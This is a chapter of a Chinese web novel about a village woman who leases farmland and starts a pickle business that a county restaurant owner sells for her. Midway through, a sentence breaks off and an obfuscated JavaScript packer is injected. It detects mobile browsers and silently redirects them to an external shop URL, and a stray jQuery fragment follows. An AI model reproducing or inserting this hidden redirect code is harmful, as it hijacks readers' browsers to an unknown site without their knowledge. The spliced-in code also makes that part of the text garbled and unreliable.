村委办公室的门被推开的时候，日光兜头照进来，晃得陈绍君眯了一下眼。她把刚签的那份合同对折了一下，又沿着折痕压了一遍，才揣进右手布包的夹层里。
陈正清坐在办公桌后头，把桌上的印泥盒子盖好，往抽屉里一搁。
“合同三年一续，”他说，拇指在桌沿上摩了一下，“你好好干，别让我难做。”
“陈叔放心，”陈绍君转过身子，把布包的往肩上拢了拢，“以后果子挂上枝头，头一筐给您送过来。”
陈正清摆了摆手，嘴角噙了一点笑意：“你忙去吧。”
陈绍君转身往外走。
院里的春光正好。
陈绍君走出村委的大门，就看见了许行简。
许行简站在树下，后背靠着树干，两手揣在裤兜里，一条腿微微屈着。他看见她出来，立马直起腰朝她走来。
“签了？”他问。
“签了。”陈绍君拍了拍布包，纸页在里面发出一声闷响，“三年。第一年免租，后两年五十块，之后一百块。”
许行简点了点头：“那我明天去挖井。”
陈绍君侧过头看着许行简。日头在他身后，把他整个人镀了一圈绒绒的金边，肩膀的轮廓在布衫底下清清楚楚的，宽展的、厚实的、像一块刚从地里翻出来的石头，有棱角，有分量。
“许行简，我们真的要在这扎根了。”
许行简看着她。他的目光从她的眼睛移到她的嘴角，又从嘴角移回眼睛。
然后他伸手握住了她的手。他的掌心粗糙，指节上覆着一层硬茧，是铁锹柄和扳手磨出来的，又硬又厚。
“嗯。”
他说这个字的时候，眼睛看着两个人交握的手。
风从田埂那边吹过来，把野蒿子的气味和远处的麦香混在一起，灌满了整条土路。远处有人喊了一声什么，隔得太远，听不清，只听见音调拖得长长的，像一道悠长的哨子，在春风里散开又聚拢。
陈绍君反握住他的手：“走，我们再去看看那片地。”
她迈开步子。他跟在旁边，两个人的步伐不知什么时候对了齐，左脚、右脚、左脚、右脚，在干裂的土路上踩出两行并排的脚印。日头把两个人的影子投在地上，一高一矮，挨得紧紧的。
田地在路两旁铺开去，绿得发烫。远处的山脊线在春风里微微抖动着，像一幅未干的水墨画，墨色还在纸面上慢慢洇开。
陈绍君侧头看了许行简一眼。他正看着前方的路，下颌的线条在日光底下是硬的，嘴角却微微翘着一个小小的弧度。
……
又过了大概一个月，陈绍君的腌菜生意也要开张了。
她家后院里的腌菜也慢慢多了起来……刘家的辣酱用粗瓷坛装着，坛口蒙了三层油纸，绳子扎得紧紧的，解开的时候一股子鲜辣气扑出来，呛得王嘉礼连打了三个喷嚏。孙嫂子的腌萝卜切成滚刀块，泡在浅褐色的酱汁里头，萝卜块通体透亮，像黄玉雕的，筷子一夹微微颤。小赵家的豆豉是干装，用白棉布口袋扎了口，豆粒乌黑油亮，凑近了闻，有一股深沉的咸香，跟酱油和曲霉的味儿混着，扎实得像一捧黑土。
他们把腌菜搬来的时候，陈绍君都会自己先试试。她验得细，每坛都开盖看色、闻味儿、拿干净筷子夹出来尝。尝到第三家的豆豉，她咂了咂嘴，把筷子搁下，跟小赵说：“盐比你上回送来的轻了一分。下回入缸的时候再多码一层盐。”
小赵连连点头，拿个小本子记了。
验完了，陈绍君开始在灶房里摆开阵仗。包腌菜的油纸和是从村东头里定的，她跟老板的老刘说好了，一直定，价格从优。她把腌菜一勺一勺地舀到油纸中央，收拢周边，折出四四方方的棱角，再用草绳从中间一扎——金黄的一绺绳，在她指间绕两圈，打个活结，两头留出一截穗子。
包好的油纸包整齐地码在竹篮里，一摞一摞的，绿茸茸的荷叶裹着里头黄褐的酱色，草绳的金黄穗子在边上垂着，轻轻一碰就晃。最后一道工序是贴标签。她用裁好的毛边纸写了“穗岁”两个字，笔迹是她自己的行楷，横平竖直，收笔的时候微微带出一个向上的尖儿。墨迹干了之后，黑字在黄油纸上分外清楚。
第一批货装了满满三篮子。陈绍君挎一个，王嘉礼挎一个，另一个由王大娘挎着。三个大清早出门坐车去县里后直接去了胜利饭店。老周在后厨门口等着，看见她们来了，把烟掐了，弯腰看了看篮子里的油纸包。
“字写得标致，”他拎起一包掂了掂，又凑近了闻，“腌菜味儿也地道。陈老师，你有路子。”
说完，他让服务员把货摆在了饭店进门右手边的柜台上，跟烟酒搁在一处。柜台是老式的玻璃柜台，摆上那几排荷叶包，绿莹莹的一溜，黄穗子垂在玻璃面上，贴着“穗岁”的标签，也喜庆。
陈绍君她们一走，进出的食客就有好奇的凑过来看，老周就让服务员拿一碟样品出来，搁在柜台上让人尝。头天就卖出去五包，第二天又卖了八包。
第七天，老周托人捎了信给陈绍君：全卖完了。
陈绍君收到信的时候正在院子里给菜缸倒缸。她把信展开看了两遍，叠好放进口袋，手里的活儿没停，但嘴角微微翘起来了一点。
钱是老周亲自送来的。他骑了辆二八大杠，车把上挂了个帆布包，进了村就直奔陈绍君的院子。
“总共三十六块四。”老周把账本子掏出来，“扣了饭店代销的两块，这是你的。”
陈绍君接过钱，又转身去堂屋里掏出了一篮子鸡蛋来。
“辛苦您亲自跑一趟自家鸡下的，您拿回去。”
她递过去的时候，老周连忙推说使不得，陈绍君硬塞给他，老周便没再推，嘴咧了一下便把鸡蛋
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17732326|207554||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
放进了自行车前面的篮子里。
“你上回拿来的腌菜，我也尝了尝。”他说着，往院子里跨了半步，他的目光越过陈绍君的肩膀，落在院子里那一排码得齐整的陶坛子上。
坛子有大有小，大的是腌酸菜的，肚子圆滚滚的，口沿上压着青石；小的是腌萝卜条的，细颈阔腹，用黄泥封了口，泥巴已经干了，裂出几道细纹。坛子底下垫着一层木板，板子是新钉的，没上漆，还能闻见木头的生味。坛子旁边搁着一口矮缸，缸口盖着竹篾编的盖帘，上面压着一块洗得干干净净的笼布。
“这地方拾掇得利索。”老周弯下腰，凑近一个坛子看了看，手指在坛沿上蹭了一下，手上一点灰都没有。他又闻了闻空气里那股淡淡的咸香味——腌菜在坛子里发酵后透出来的那种气味，酸中带鲜，不冲，新鲜。
“东西都很干净。”他说这话的时候，目光一直还在院子里转着，他脸上的表情是满意，“你这些，我都能帮你卖了。”
陈绍君还没来得及开口，老周就已经弯腰抱起一个中号的陶坛。坛子不重，腌的是萝卜条，他一手托底一手抱腰，稳稳地夹在胳膊弯里，走到车后座，拿绳子来回绕了两圈，扎了个活扣。然后又折回来抱第二坛。陈绍君看着他把四个坛子挨个儿绑在车后座上，坛子挤着坛子，中间拿旧报纸垫了垫，怕磕碰。他干活很麻利，绳子在手指间绕来绕去，最后收口的时候打了个死结又系了个活头，扯了扯，纹丝不动。
“周老板……”陈绍君有些犹豫。
“没事。”老周直起腰，笑着说，“回头卖了再给你算账。你这菜干净，味道正，我拿去饭店不愁没人要。。”
说完，他眯着眼，又看了一眼那一排坛子。
“腌菜这营生，看着不起眼，可做好了就是门手艺。”他朝陈绍君抬了抬下巴，“你比旁人家多一道工序——我尝出来了。你那些菜在坛子封口之前拿清水又泡过一道吧？”
陈绍君点了点头。她确实多花了半天工夫，把切好的菜条在干净的井水里泡了一个多小时，捞出来沥干了才下坛子。就这一道，腌出来的菜颜色透亮，口感更脆，酸味不冲，后头还带一点点回甘。
“我干了二十年餐饮，吃得出。”老周笑着说，“你这门手艺好好守着，不愁没销路。今年秋上芥菜下来了你再多腌些，我到时候来拉。”
他说完，就跨上了自行车。
车后座上绑着四个坛子，车头歪了歪，他调整了一下重心，脚一蹬地，车就晃晃悠悠地出去了。车前筐里，那篮鸡蛋被颠得轻轻碰着，发出细小的磕碰声。
他骑出去几步，又朝陈绍君喊了一句：“账我回头记好了再给你送来！”
喊声被风扯得有点散，但每一个字都清楚。陈绍君站在院门口，看着他骑着那辆二八大杠出了巷子口，车后座上的坛子随着坑洼的路面一起一伏地颠簸着。